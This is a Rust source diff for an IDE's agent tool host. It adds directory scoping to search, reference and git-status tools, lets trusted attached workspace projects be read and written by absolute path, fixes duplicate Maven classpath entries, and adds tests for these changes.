@@ -862,23 +877,32 @@ async fn symbol_search(call: Call) -> IdeResult<Output> {
|
||||
let q = query(&call, "Search query is empty")?;
|
||||
let (page, limit) = page(&call, SYMBOL_SEARCH_DEFAULT_LIMIT)?;
|
||||
let around = context(&call)?;
|
||||
let dir = Scope::of(&call)?;
|
||||
let scope = PathScope::new(call.root(), &call.str_list("paths")?)?;
|
||||
let external = call.flag("include_external", false)?;
|
||||
let host = call.host();
|
||||
let project = call.project().clone();
|
||||
let indexing_before = project.index.status().indexing;
|
||||
let pool = if scope.is_all() { limit + 1 } else { ((limit + 1) * SYMBOL_POOL_FACTOR).min(MAX_SYMBOL_POOL) };
|
||||
let pool = if scope.is_all() && dir.dir().is_none() {
|
||||
limit + 1
|
||||
} else {
|
||||
((limit + 1) * SYMBOL_POOL_FACTOR).min(MAX_SYMBOL_POOL)
|
||||
};
|
||||
let found = {
|
||||
let (project, q) = (project.clone(), q.clone());
|
||||
host.blocking(move || Ok(project.index.find_symbols(&q, ide_index::SymbolFilter::All, pool))).await?
|
||||
};
|
||||
let mut items: Vec<SearchItem> = found
|
||||
.into_iter()
|
||||
.filter(|s| scope.matches(&s.rel_path))
|
||||
.map(|s| SearchItem {
|
||||
// By the path the other tools give: the index shows a root outside the project by its
|
||||
// folder name, which is no path to read.
|
||||
.filter(|s| dir.contains(&s.path.0))
|
||||
.map(|s| (call.display(&s.path.0), s))
|
||||
.filter(|(path, _)| scope.matches(path))
|
||||
.map(|(path, s)| SearchItem {
|
||||
name: Some(s.name),
|
||||
container: s.container.filter(|c| !c.is_empty()),
|
||||
..SearchItem::at(s.rel_path, s.range)
|
||||
..SearchItem::at(path, s.range)
|
||||
})
|
||||
.collect();
|
||||
let mut timed_out = false;
|
||||
@@ -888,9 +912,9 @@ async fn symbol_search(call: Call) -> IdeResult<Output> {
|
||||
timed_out = out_of_time;
|
||||
for (name, container, location) in symbols {
|
||||
let path = location.uri.clone().unwrap_or_else(|| call.display(&location.path));
|
||||
// Project files obey `paths`; library symbols are what was asked for.
|
||||
// Project files obey `scope` and `paths`; library symbols are what was asked for.
|
||||
let inside = location.uri.is_none() && !Path::new(&path).is_absolute();
|
||||
if inside && !scope.matches(&path) {
|
||||
if inside && !(dir.contains_shown(call.root(), &path) && scope.matches(&path)) {
|
||||
continue;
|
||||
}
|
||||
let item = SearchItem {
|
||||
|
||||
@@ -211,6 +211,7 @@ pub fn find_references() -> Tool {
|
||||
Tool::new("find_references", "Find references using the language service and the IDE's project index. Positions are 1-based UTF-16. Reports incomplete results when analysis is still running.", |call| async move {
|
||||
let path = call.resolve_readable(&call.str("filePath")?).await?;
|
||||
let page = super::page::Page::of(&call, REFERENCES_LIMIT)?;
|
||||
let dir = super::scope::Scope::of(&call)?;
|
||||
let line = call.opt_i64("line")?.ok_or_else(|| IdeError::invalid("missing line"))?;
|
||||
let column = call.opt_i64("column")?.ok_or_else(|| IdeError::invalid("missing column"))?;
|
||||
let project = call.project.clone();
|
||||
@@ -248,7 +249,12 @@ pub fn find_references() -> Tool {
|
||||
// `classified`, when there, goes with `locations` one to one.
|
||||
if let serde_json::Value::Object(map) = &mut value {
|
||||
let mut list = |key: &str| match map.remove(key) { Some(serde_json::Value::Array(items)) => items, _ => Vec::new() };
|
||||
let (locations, classified) = (list("locations"), list("classified"));
|
||||
let (mut locations, mut classified) = (list("locations"), list("classified"));
|
||||
if dir.dir().is_some() {
|
||||
let inside = |l: &serde_json::Value| l["path"].as_str().is_some_and(|p| dir.contains(std::path::Path::new(p)));
|
||||
locations.retain(inside);
|
||||
classified.retain(|c| inside(&c["location"]));
|
||||
}
|
||||
let classified = page.take(classified, &mut serde_json::Map::new());
|
||||
let locations = page.take(locations, map);
|
||||
map.insert("locations".into(), locations.into());
|
||||
@@ -260,6 +266,7 @@ pub fn find_references() -> Tool {
|
||||
.param(Param::required("line", ParamType::Integer, "1-based line"))
|
||||
.param(Param::required("column", ParamType::Integer, "1-based UTF-16 column"))
|
||||
.param(Param::optional("includeDeclaration", ParamType::Boolean, "Include declarations (default true)"))
|
||||
.param(super::scope::param())
|
||||
.param(Param::optional("limit", ParamType::Integer, "References to return at most (default 100)"))
|
||||
.param(Param::optional("offset", ParamType::Integer, super::page::OFFSET))
|
||||
}
|
||||
|
||||
@@ -37,7 +37,12 @@ impl Call {
|
||||
.collect()
|
||||
}
|
||||
pub fn resolve_inside(&self, path: &str) -> IdeResult<PathBuf> {
|
||||
resolve_inside(self.root(), path)
|
||||
resolve_inside(self.root(), path).or_else(|e| {
|
||||
// An absolute path may name a trusted attached project, wherever it is.
|
||||
let absolute = path.starts_with("file://") || Path::new(path).is_absolute();
|
||||
let attached = if absolute { self.trusted_attachments() } else { Vec::new() };
|
||||
attached.iter().find_map(|root| resolve_inside(root, path).ok()).ok_or(e)
|
||||
})
|
||||
}
|
||||
pub async fn resolve_writable(&self, path: &str) -> IdeResult<PathBuf> {
|
||||
let path = self.resolve_inside(path)?;
|
||||
@@ -46,7 +51,24 @@ impl Call {
|
||||
}
|
||||
pub async fn check_writable(&self, path: &Path) -> IdeResult<()> {
|
||||
self.project.require_trust()?;
|
||||
ensure_inside(self.root(), path)
|
||||
self.ensure_writable_place(path)
|
||||
}
|
||||
/// `path` is inside the project or a trusted project attached to it.
|
||||
pub fn ensure_writable_place(&self, path: &Path) -> IdeResult<()> {
|
||||
ensure_inside(self.root(), path).or_else(|e| {
|
||||
if self.trusted_attachments().iter().any(|root| ensure_inside(root, path).is_ok()) {
|
||||
Ok(())
|
||||
} else {
|
||||
Err(e)
|
||||
}
|
||||
})
|
||||
}
|
||||
/// The projects attached to this one that the user trusts (each is trusted on its own).
|
||||
fn trusted_attachments(&self) -> Vec<PathBuf> {
|
||||
attached_projects(self.root())
|
||||
.into_iter()
|
||||
.filter(|root| self.host.trust.trusted(root).unwrap_or(false))
|
||||
.collect()
|
||||
}
|
||||
pub async fn ask(&self, request: ide_core::event::McpUiRequest) -> IdeResult<()> {
|
||||
self.host.mcp_requests.ask(self, request).await
|
||||
@@ -300,3 +322,12 @@ pub fn resolve_inside(root: &Path, raw: &str) -> IdeResult<PathBuf> {
|
||||
pub fn ensure_inside(root: &Path, path: &Path) -> IdeResult<()> {
|
||||
resolve_inside(root, &path.to_string_lossy()).map(|_| ())
|
||||
}
|
||||
|
||||
/// The projects attached to the one at `root` (its workspace members), `root` itself left out.
|
||||
pub(crate) fn attached_projects(root: &Path) -> Vec<PathBuf> {
|
||||
ide_workspace::workspace::Workspace::load(root)
|
||||
.ok()
|
||||
.flatten()
|
||||
.map(|w| w.projects.into_iter().filter(|p| p != root).collect())
|
||||
.unwrap_or_default()
|
||||
}
|
||||
@@ -29,7 +29,7 @@ fn relative_to(root: &Path, path: &Path) -> String {
|
||||
};
|
||||
match rel {
|
||||
Some(rel) => rel.to_string_lossy().replace('\\', "/"),
|
||||
None => path.to_string_lossy().into_owned(),
|
||||
None => path.to_string_lossy().replace('\\', "/"),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -266,11 +266,16 @@ By default all Git repositories are returned.",
|
||||
.map(|r| (r.root.into_path_buf(), r.head))
|
||||
.collect();
|
||||
let wanted = call.opt_str("repositoryPathRelativeToProject")?;
|
||||
let scope = super::scope::Scope::of(&call)?;
|
||||
let git = git_executable(&call);
|
||||
let mut roots: Vec<(PathBuf, Option<String>)> = match &wanted {
|
||||
// A repository asked for, or the one holding `scope`.
|
||||
let target = match &wanted {
|
||||
Some(wanted) => Some(call.resolve_inside(wanted)?),
|
||||
None => scope.dir().map(Path::to_path_buf),
|
||||
};
|
||||
let mut roots: Vec<(PathBuf, Option<String>)> = match target {
|
||||
None => repos,
|
||||
Some(wanted) => {
|
||||
let path = call.resolve_inside(wanted)?;
|
||||
Some(path) => {
|
||||
// The innermost repository containing the path.
|
||||
match innermost_repo(repos, &path) {
|
||||
Some(repo) => vec![repo],
|
||||
@@ -282,7 +287,8 @@ By default all Git repositories are returned.",
|
||||
vec![(root, branch)]
|
||||
}
|
||||
None => {
|
||||
return Err(IdeError::not_found(format!("No git repository found for path: {wanted}")));
|
||||
let shown = wanted.unwrap_or_else(|| call.display(&path));
|
||||
return Err(IdeError::not_found(format!("No git repository found for path: {shown}")));
|
||||
}
|
||||
},
|
||||
}
|
||||
@@ -293,12 +299,13 @@ By default all Git repositories are returned.",
|
||||
for (root, branch) in roots {
|
||||
let rel = relative_to_project(&call, &root);
|
||||
let (git, dir) = (git.clone(), root.clone());
|
||||
let entries = host
|
||||
let mut entries = host
|
||||
.blocking(move || read_status(&git, &dir, include_untracked, include_ignored))
|
||||
.await
|
||||
.map_err(|e| {
|
||||
IdeError::internal(format!("Failed to get git status for repository '{rel}': {}", e.message))
|
||||
})?;
|
||||
entries.retain(|e| scope.contains(&root.join(e.path.trim_end_matches('/'))));
|
||||
let count = |f: fn(&StatusEntry) -> bool| entries.iter().filter(|e| f(e)).count();
|
||||
let listed: Vec<Value> = entries
|
||||
.iter()
|
||||
@@ -345,6 +352,7 @@ By default all Git repositories are returned.",
|
||||
))
|
||||
.param(Param::optional("includeUntracked", ParamType::Boolean, "Whether to include untracked files"))
|
||||
.param(Param::optional("includeIgnored", ParamType::Boolean, "Whether to include ignored files"))
|
||||
.param(super::scope::param())
|
||||
.param(Param::optional("limit", ParamType::Integer, "Entries to return per repository at most (default 100)"))
|
||||
.param(Param::optional("offset", ParamType::Integer, OFFSET))
|
||||
}
|
||||
|
||||
@@ -262,18 +262,6 @@ pub async fn fork(host: &Host, window: &str, task: String, turns: Option<u32>) -
|
||||
host.project(window)?.agents.fork(&task, turns).await
|
||||
}
|
||||
|
||||
/// Creates a temporary side conversation of `source`: lives in memory only, never
|
||||
/// persisted, not listed.
|
||||
pub async fn create_ephemeral(
|
||||
host: &Host,
|
||||
window: &str,
|
||||
request: NewAgentTask,
|
||||
source: String,
|
||||
) -> IdeResult<AgentTask> {
|
||||
host.require_trust(window)?;
|
||||
host.project(window)?.agents.create_ephemeral(request, &source).await
|
||||
}
|
||||
|
||||
/// Drops the task's turns after its first `turns`; returns the message of the first dropped one.
|
||||
pub async fn rollback(host: &Host, window: &str, task: String, turns: u32) -> IdeResult<Option<AgentPrompt>> {
|
||||
host.require_trust(window)?;
|
||||
@@ -724,7 +712,10 @@ async fn probe_http_mcp_server(server: &ide_core::settings::AgentMcpServer) -> M
|
||||
if let Some(sid) = session_id.as_deref() {
|
||||
req = req.header("Mcp-Session-Id", sid);
|
||||
}
|
||||
let resp = req.send().await.map_err(|e| format!("Request to `{url}` failed: {e}"))?;
|
||||
let resp = req
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| format!("Request to `{url}` failed: {}", ide_http::client::describe(&e.without_url())))?;
|
||||
let status = resp.status();
|
||||
let next_session =
|
||||
resp.headers().get("mcp-session-id").and_then(|v| v.to_str().ok()).map(str::to_owned).or(session_id);
|
||||
|
||||
@@ -97,6 +97,8 @@ async fn resolve_launch(
|
||||
tokio::task::spawn_blocking(move || {
|
||||
let _external_build = external_build;
|
||||
let local_repo = ide_sdk::apply::maven_local_repository(&project.root, &settings);
|
||||
// Module outputs the launch runs from a snapshot of: the originals must not come back.
|
||||
let mut snapshotted = Vec::new();
|
||||
let built = if delegated {
|
||||
let rebuild_on_jdt_errors = rebuild_on_jdt_errors(policy, prefer_maven, info.error_count);
|
||||
let outputs = project.java_launch_snapshots.lock().build(
|
||||
@@ -109,6 +111,7 @@ async fn resolve_launch(
|
||||
)?;
|
||||
let copies = use_snapshot(&mut info, &outputs.originals, &outputs.snapshot);
|
||||
apply_external_build_result(&mut info, outputs.failure, outputs.authoritative);
|
||||
snapshotted = outputs.originals;
|
||||
copies
|
||||
} else if external {
|
||||
let built = compile::build_for_launch(&project.root, &model, &module, test, build_kind, &cancel)?;
|
||||
@@ -137,7 +140,7 @@ async fn resolve_launch(
|
||||
&project.build_cache_dir(),
|
||||
&cancel,
|
||||
);
|
||||
merge_maven_launch_classpath(&mut class_paths, &mut info, maven_cp)?;
|
||||
merge_maven_launch_classpath(&mut class_paths, &mut info, maven_cp, &snapshotted)?;
|
||||
} else {
|
||||
append_unique_class_paths(&mut class_paths, std::mem::take(&mut info.class_paths));
|
||||
}
|
||||
@@ -298,17 +301,23 @@ fn same_entry(a: &str, b: &str, windows: bool) -> bool {
|
||||
|
||||
/// Merge the Maven launch classpath without turning a recoverable probe failure into a
|
||||
/// failed launch. Cancellation still propagates; ordinary failures keep jdtls' classpath
|
||||
/// and leave the reason in the run console.
|
||||
/// and leave the reason in the run console. Maven lists the module's and its reactor
|
||||
/// siblings' `target/classes`; those in `snapshotted` already run from their snapshot,
|
||||
/// and listing both would make every resource (MyBatis mapper XML) load twice.
|
||||
fn merge_maven_launch_classpath(
|
||||
class_paths: &mut Vec<String>,
|
||||
info: &mut JavaLaunchInfo,
|
||||
classpath: IdeResult<String>,
|
||||
snapshotted: &[PathBuf],
|
||||
) -> IdeResult<()> {
|
||||
match classpath {
|
||||
Ok(classpath) => {
|
||||
let snapshotted: Vec<_> = snapshotted.iter().map(|p| p.to_string_lossy()).collect();
|
||||
append_unique_class_paths(
|
||||
class_paths,
|
||||
std::env::split_paths(&classpath).map(|path| path.to_string_lossy().into_owned()),
|
||||
std::env::split_paths(&classpath)
|
||||
.map(|path| path.to_string_lossy().into_owned())
|
||||
.filter(|path| !snapshotted.iter().any(|original| same_entry(path, original, cfg!(windows)))),
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
@@ -471,20 +480,46 @@ mod tests {
|
||||
let mut class_paths = vec!["snapshot.jar".to_owned()];
|
||||
let mut info =
|
||||
JavaLaunchInfo { class_paths: vec!["snapshot.jar".into(), "jdtls.jar".into()], ..Default::default() };
|
||||
merge_maven_launch_classpath(&mut class_paths, &mut info, Ok(maven)).unwrap();
|
||||
merge_maven_launch_classpath(&mut class_paths, &mut info, Ok(maven), &[]).unwrap();
|
||||
assert_eq!(class_paths, ["snapshot.jar", "maven.jar"]);
|
||||
|
||||
merge_maven_launch_classpath(&mut class_paths, &mut info, Err(IdeError::internal("offline dependency")))
|
||||
merge_maven_launch_classpath(&mut class_paths, &mut info, Err(IdeError::internal("offline dependency")), &[])
|
||||
.unwrap();
|
||||
assert_eq!(class_paths, ["snapshot.jar", "maven.jar", "jdtls.jar"]);
|
||||
assert!(info.hints[0].contains("offline dependency"), "{:?}", info.hints);
|
||||
}
|
||||
|
||||
/// Maven's launch classpath lists the module's and its reactor siblings' outputs, which
|
||||
/// the launch already runs from a snapshot: listed twice, MyBatis loads each mapper XML
|
||||
/// twice and fails with "XML fragments parsed from previous mappers already contains value".
|
||||
#[test]
|
||||
fn maven_classpath_leaves_out_outputs_the_launch_runs_from_a_snapshot() {
|
||||
let web = PathBuf::from("/work/haoke/haoke-web/target/classes");
|
||||
let service = PathBuf::from("/work/haoke/haoke-service/target/classes");
|
||||
let maven = std::env::join_paths([
|
||||
"/work/haoke/haoke-web/target/classes/",
|
||||
"/work/haoke/haoke-service/target/classes",
|
||||
"/work/haoke/haoke-api/target/classes",
|
||||
"/m2/mybatis.jar",
|
||||
])
|
||||
.unwrap()
|
||||
.to_string_lossy()
|
||||
.into_owned();
|
||||
let mut class_paths = vec!["/cache/launch-x/0".to_owned(), "/cache/launch-x/1".to_owned()];
|
||||
let mut info = JavaLaunchInfo::default();
|
||||
merge_maven_launch_classpath(&mut class_paths, &mut info, Ok(maven), &[web, service]).unwrap();
|
||||
assert_eq!(
|
||||
class_paths,
|
||||
["/cache/launch-x/0", "/cache/launch-x/1", "/work/haoke/haoke-api/target/classes", "/m2/mybatis.jar"]
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn cancelled_maven_classpath_probe_propagates_without_fallback() {
|
||||
let mut class_paths = vec!["snapshot.jar".to_owned()];
|
||||
let mut info = JavaLaunchInfo { class_paths: vec!["jdtls.jar".into()], ..Default::default() };
|
||||
let error = merge_maven_launch_classpath(&mut class_paths, &mut info, Err(IdeError::cancelled())).unwrap_err();
|
||||
let error =
|
||||
merge_maven_launch_classpath(&mut class_paths, &mut info, Err(IdeError::cancelled()), &[]).unwrap_err();
|
||||
assert_eq!(error.kind, ErrorKind::Cancelled);
|
||||
assert_eq!(class_paths, ["snapshot.jar"]);
|
||||
assert!(info.hints.is_empty());
|
||||
|
||||
@@ -62,13 +62,25 @@ pub(crate) fn search_project(
|
||||
_ => None,
|
||||
};
|
||||
let workspace = ide_workspace::workspace::Workspace::load(root)?.is_some_and(|w| w.is_container(root));
|
||||
let include_root = !workspace
|
||||
|| matches!(query.scope, ide_search::SearchScope::Directory { .. } | ide_search::SearchScope::Files { .. });
|
||||
// A directory inside a content root is searched from that root, so that the project's
|
||||
// exclusions (a `.*` name) meet the paths there as in a whole-project search.
|
||||
let within = match &query.scope {
|
||||
ide_search::SearchScope::Directory { path } => {
|
||||
project.content_roots().into_iter().filter(|r| path.0.starts_with(r)).max_by_key(|r| r.components().count())
|
||||
}
|
||||
_ => None,
|
||||
};
|
||||
let include_root = within.is_none()
|
||||
&& (!workspace
|
||||
|| matches!(
|
||||
query.scope,
|
||||
ide_search::SearchScope::Directory { .. } | ide_search::SearchScope::Files { .. }
|
||||
));
|
||||
let content_roots = match query.scope {
|
||||
ide_search::SearchScope::Project
|
||||
| ide_search::SearchScope::FileSet { .. }
|
||||
| ide_search::SearchScope::Pattern { .. } => project.content_roots(),
|
||||
_ => Vec::new(),
|
||||
_ => within.into_iter().collect(),
|
||||
};
|
||||
let filter = |rel: &str| match set {
|
||||
Some(ProjectFileSet::Production) => !roots.is_test(rel),
|
||||
@@ -84,6 +96,19 @@ pub(crate) fn search_project(
|
||||
let mut total = SearchSummary::default();
|
||||
for dir in std::iter::once(root).filter(|_| include_root).chain(&content_roots) {
|
||||
let mut remaining = query.clone();
|
||||
// A root inside the project (one its walk skips) goes by its path there.
|
||||
let prefix = (dir != root).then(|| match dir.strip_prefix(root) {
|
||||
Ok(rel) if !workspace => rel.to_string_lossy().replace('\\', "/"),
|
||||
_ => dir.file_name().unwrap_or_default().to_string_lossy().into_owned(),
|
||||
});
|
||||
if let Some(prefix) = &prefix {
|
||||
remaining.include = rebase_masks(&query.include, prefix);
|
||||
remaining.exclude = rebase_masks(&query.exclude, prefix);
|
||||
// Only paths elsewhere were asked for.
|
||||
if remaining.include.is_empty() && !query.include.is_empty() {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
let max = if query.max_matches == 0 { 10_000 } else { query.max_matches };
|
||||
remaining.max_matches = max.saturating_sub(total.matches).max(1);
|
||||
let summary = ide_search::search_in_context(
|
||||
@@ -94,12 +119,7 @@ pub(crate) fn search_project(
|
||||
ide_search::TextSource { overlay: &|p| project.documents.search_text_of(p), decode: &decode },
|
||||
cancel,
|
||||
&|mut file| {
|
||||
if dir != root {
|
||||
// A root inside the project (one its walk skips) goes by its path there.
|
||||
let prefix = match dir.strip_prefix(root) {
|
||||
Ok(rel) if include_root => rel.to_string_lossy().replace('\\', "/"),
|
||||
_ => dir.file_name().unwrap_or_default().to_string_lossy().into_owned(),
|
||||
};
|
||||
if let Some(prefix) = &prefix {
|
||||
file.rel_path = format!("{prefix}/{}", file.rel_path);
|
||||
}
|
||||
emit(file);
|
||||
@@ -117,5 +137,41 @@ pub(crate) fn search_project(
|
||||
Ok(total)
|
||||
}
|
||||
|
||||
/// Project-relative `masks` (each a comma-separated list) for a search from the content root
|
||||
/// shown as `prefix`: paths below it lose the prefix, other paths can match nothing there and
|
||||
/// are dropped, names and `**/` patterns (`*.rs`, `**/build/**`) stay as they are.
|
||||
fn rebase_masks(masks: &[String], prefix: &str) -> Vec<String> {
|
||||
let prefix = format!("{}/", prefix.trim_end_matches('/'));
|
||||
masks
|
||||
.iter()
|
||||
.filter_map(|group| {
|
||||
let kept: Vec<String> = group
|
||||
.split(',')
|
||||
.map(str::trim)
|
||||
.filter(|m| !m.is_empty())
|
||||
.filter_map(|mask| {
|
||||
let (negated, body) = mask.strip_prefix('!').map_or(("", mask), |b| ("!", b.trim()));
|
||||
let body = body.trim_start_matches("./").trim_start_matches('/');
|
||||
if !body.contains('/') || body.starts_with("**/") {
|
||||
return Some(mask.to_owned());
|
||||
}
|
||||
body.strip_prefix(&prefix).map(|rest| format!("{negated}{rest}"))
|
||||
})
|
||||
.collect();
|
||||
(!kept.is_empty()).then(|| kept.join(","))
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
#[test]
|
||||
fn masks_follow_the_root_they_search() {
|
||||
let masks = vec![".wt/a/src/**, src/**".into(), "*.rs".into(), "!.wt/a/out/**".into(), "**/build/**".into()];
|
||||
assert_eq!(super::rebase_masks(&masks, ".wt/a"), ["src/**", "*.rs", "!out/**", "**/build/**"]);
|
||||
assert_eq!(super::rebase_masks(&["src/**".into()], ".wt/a"), Vec::<String>::new());
|
||||
}
|
||||
}
|
||||
|
||||
mod commands;
|
||||
pub use commands::*;
|
||||
@@ -234,7 +234,7 @@ fn network_error(error: reqwest::Error) -> HostError {
|
||||
}
|
||||
source = e.source();
|
||||
}
|
||||
HostError::Failed(error.to_string())
|
||||
HostError::Failed(ide_http::client::describe(&error))
|
||||
}
|
||||
|
||||
fn redirect_capability(from: &reqwest::Url, to: &reqwest::Url) -> Result<Capability, String> {
|
||||
|
||||
@@ -134,7 +134,8 @@ fn read_remote(url: &str, max: usize, deadline: Duration) -> Result<Vec<u8>, Str
|
||||
super::api::net_runtime().block_on(async move {
|
||||
let failed = |e: reqwest::Error| match e.is_timeout() {
|
||||
true => format!("{url}: no answer in time"),
|
||||
false => format!("{url}: {e}"),
|
||||
// With its cause: "error sending request" alone does not say what failed.
|
||||
false => format!("{url}: {}", ide_http::client::describe(&e.without_url())),
|
||||
};
|
||||
let too_large = || format!("{url}: larger than {} MiB", max >> 20);
|
||||
let mut response = client.get(url).timeout(deadline).send().await.map_err(failed)?;
|
||||
@@ -587,6 +588,16 @@ mod tests {
|
||||
assert!(reachable_from("/srv/market/index.json", "/srv/market/a.oiplugin"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_failed_read_says_why() {
|
||||
// A port nothing listens on: refused.
|
||||
let port = std::net::TcpListener::bind("127.0.0.1:0").unwrap().local_addr().unwrap().port();
|
||||
let url = format!("http://127.0.0.1:{port}/a.oiplugin");
|
||||
let err = read_url(&url, 1 << 20).unwrap_err();
|
||||
assert_eq!(err.matches(&url).count(), 1, "{err}");
|
||||
assert!(err.to_lowercase().contains("refused"), "{err}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_server_that_stops_answering_does_not_hold_the_read() {
|
||||
use std::io::{BufRead, BufReader, Write};
|
||||
|
||||
@@ -177,6 +177,7 @@ impl Host {
|
||||
let root = member.as_ref().unwrap_or(window_root);
|
||||
ide_sdk::apply::server_launch_overrides(cfg, &effective);
|
||||
ide_sdk::apply::configure_server(cfg, root, server_root, &effective);
|
||||
ide_sdk::apply::configure_vue_module_resolution(cfg, &data_dir);
|
||||
crate::ops::sdk::container_python::configure_server(cfg, &data_dir, root, &effective);
|
||||
if cfg.name == "jdtls" {
|
||||
// A workspace member keeps its build model under its own key (Build Project).
|
||||
|
||||
@@ -309,13 +309,14 @@ pub fn event_sink(peer: Arc<OnceLock<Peer>>, window: Option<String>) -> ide_core
|
||||
|
||||
/// Whether a desktop shows an `event` notification of its server in the window. A server reports
|
||||
/// on its project; what this machine answers or owns itself (MCP approvals, app updates, window
|
||||
/// groups) never comes from it.
|
||||
/// groups, its own connection to the server) never comes from it.
|
||||
pub fn client_accepts(event: &IdeEvent) -> bool {
|
||||
match event {
|
||||
IdeEvent::McpRequest { .. }
|
||||
| IdeEvent::McpRequestClosed { .. }
|
||||
| IdeEvent::WindowGroupsChanged
|
||||
| IdeEvent::WindowFullscreenChanged
|
||||
| IdeEvent::RemoteConnectionLost { .. }
|
||||
| IdeEvent::UpdateStatusChanged { .. }
|
||||
| IdeEvent::UpdateAvailable { .. } => false,
|
||||
IdeEvent::DbSourcesChanged
|
||||
|
||||
@@ -213,6 +213,79 @@ async fn project_path_argument_routes_to_another_open_project() {
|
||||
assert_eq!(reply["result"]["content"][0]["text"], "L1: second project");
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn trusted_attached_projects_are_writable_and_reach_the_window_they_are_attached_in() {
|
||||
let h = Harness::new();
|
||||
h.trust().await;
|
||||
let base = dunce::canonicalize(h.tmp.path()).unwrap();
|
||||
let (attached, untrusted, other) = (base.join("attached"), base.join("untrusted"), base.join("other"));
|
||||
for dir in [&attached, &untrusted, &other] {
|
||||
std::fs::create_dir_all(dir).unwrap();
|
||||
}
|
||||
ide_workspace::workspace::Workspace::attach(
|
||||
&h.root,
|
||||
"project",
|
||||
vec![h.root.clone(), attached.clone(), untrusted.clone()],
|
||||
)
|
||||
.unwrap();
|
||||
h.host.trust.decide(&attached, true, false).unwrap();
|
||||
|
||||
// Outside the project folder, by absolute path.
|
||||
let file = attached.join("new.txt");
|
||||
h.call("create_new_file", json!({"pathInProject": file, "text": "hello"})).await;
|
||||
assert_eq!(std::fs::read_to_string(&file).unwrap(), "hello");
|
||||
let shown = file.to_string_lossy().replace('\\', "/");
|
||||
let patch = format!("*** Begin Patch\n*** Update File: {shown}\n@@\n-hello\n+patched\n*** End Patch");
|
||||
let output = h.call("apply_patch", json!({ "input": patch })).await;
|
||||
assert!(output.starts_with("1 out of 1"), "{output}");
|
||||
assert!(std::fs::read_to_string(&file).unwrap().starts_with("patched"));
|
||||
for dir in [&untrusted, &other] {
|
||||
let e = h.error("create_new_file", json!({"pathInProject": dir.join("x.txt"), "text": "no"})).await;
|
||||
assert!(e.contains("outside"), "{}: {e}", dir.display());
|
||||
assert!(!dir.join("x.txt").exists());
|
||||
}
|
||||
|
||||
// A `projectPath` naming the attached project reaches the window it is attached in.
|
||||
let registry = Registry::new(h.host.clone());
|
||||
assert!(registry.projects().contains(&attached));
|
||||
let read = tokio::task::spawn_blocking(move || {
|
||||
registry.call(&attached, "read_file", &json!({"file_path": "src/b.txt"}).to_string(), CancellationToken::new())
|
||||
})
|
||||
.await
|
||||
.unwrap()
|
||||
.unwrap();
|
||||
assert!(read.starts_with("L1: needle"), "{read}");
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn files_of_a_project_attached_outside_go_by_their_absolute_path_everywhere() {
|
||||
let h = Harness::new();
|
||||
h.trust().await;
|
||||
let attached = dunce::canonicalize(h.tmp.path()).unwrap().join("attached");
|
||||
std::fs::create_dir_all(attached.join("src")).unwrap();
|
||||
std::fs::write(attached.join("src/lib.rs"), "pub fn attached_marker() {}\n").unwrap();
|
||||
let git = std::process::Command::new("git").current_dir(&attached).args(["init", "-q"]).status().unwrap();
|
||||
assert!(git.success());
|
||||
h.host.trust.decide(&attached, true, false).unwrap();
|
||||
ide_host::ops::project::attach_workspace(&h.host, "main", &attached).unwrap();
|
||||
assert!(h.host.project("main").unwrap().index.wait_idle(std::time::Duration::from_secs(10)));
|
||||
let shown = |rel: &str| attached.join(rel).to_string_lossy().replace('\\', "/");
|
||||
|
||||
let files = h.json("search_file", json!({"q":"**/lib.rs"})).await;
|
||||
assert_eq!(files["items"], json!([{ "filePath": shown("src/lib.rs") }]));
|
||||
let symbols = h.json("search_symbol", json!({"q":"attached_marker"})).await;
|
||||
assert_eq!(symbols["items"][0]["filePath"], shown("src/lib.rs"), "{symbols}");
|
||||
assert_eq!(symbols["items"][0]["lineText"], "pub fn attached_marker() {}");
|
||||
let status = h.json("git_status", json!({})).await;
|
||||
let repos: Vec<&str> = status["repositories"]
|
||||
.as_array()
|
||||
.unwrap()
|
||||
.iter()
|
||||
.map(|r| r["repositoryPathRelativeToProject"].as_str().unwrap())
|
||||
.collect();
|
||||
assert!(repos.contains(&shown("").trim_end_matches('/')), "{repos:?}");
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn mutations_preserve_unsaved_text_and_reject_metadata_and_escapes() {
|
||||
let h = Harness::new();
|
||||
@@ -368,6 +441,95 @@ async fn git_status_and_diff_on_a_temporary_repository() {
|
||||
assert!(!h.tmp.path().join("executed").exists());
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "multi_thread")]
|
||||
async fn scope_limits_the_query_tools_to_a_directory() {
|
||||
let h = Harness::new();
|
||||
std::fs::create_dir_all(h.root.join("lib")).unwrap();
|
||||
std::fs::write(h.root.join("lib/c.txt"), "needle\n").unwrap();
|
||||
let paths = |v: &Value| -> Vec<String> {
|
||||
let mut out: Vec<String> =
|
||||
v["items"].as_array().unwrap().iter().map(|i| i["filePath"].as_str().unwrap().to_owned()).collect();
|
||||
out.dedup();
|
||||
out
|
||||
};
|
||||
assert_eq!(paths(&h.json("search_text", json!({"q":"needle","scope":"lib"})).await), ["lib/c.txt"]);
|
||||
assert_eq!(paths(&h.json("search_regex", json!({"q":"need.e","scope":"lib/"})).await), ["lib/c.txt"]);
|
||||
let absolute = h.root.join("src").to_string_lossy().into_owned();
|
||||
assert_eq!(paths(&h.json("search_file", json!({"q":"*.txt","scope":absolute})).await), ["src/a.txt", "src/b.txt"]);
|
||||
// Within the scope, `paths` narrows further.
|
||||
assert_eq!(
|
||||
paths(&h.json("search_text", json!({"q":"needle","scope":"src","paths":["**/b.txt"]})).await),
|
||||
["src/b.txt"]
|
||||
);
|
||||
assert!(h.error("search_text", json!({"q":"needle","scope":"missing"})).await.contains("is not a directory"));
|
||||
assert!(h.error("search_text", json!({"q":"needle","scope":".."})).await.contains("outside the project"));
|
||||
|
||||
let git = |args: &[&str]| {
|
||||
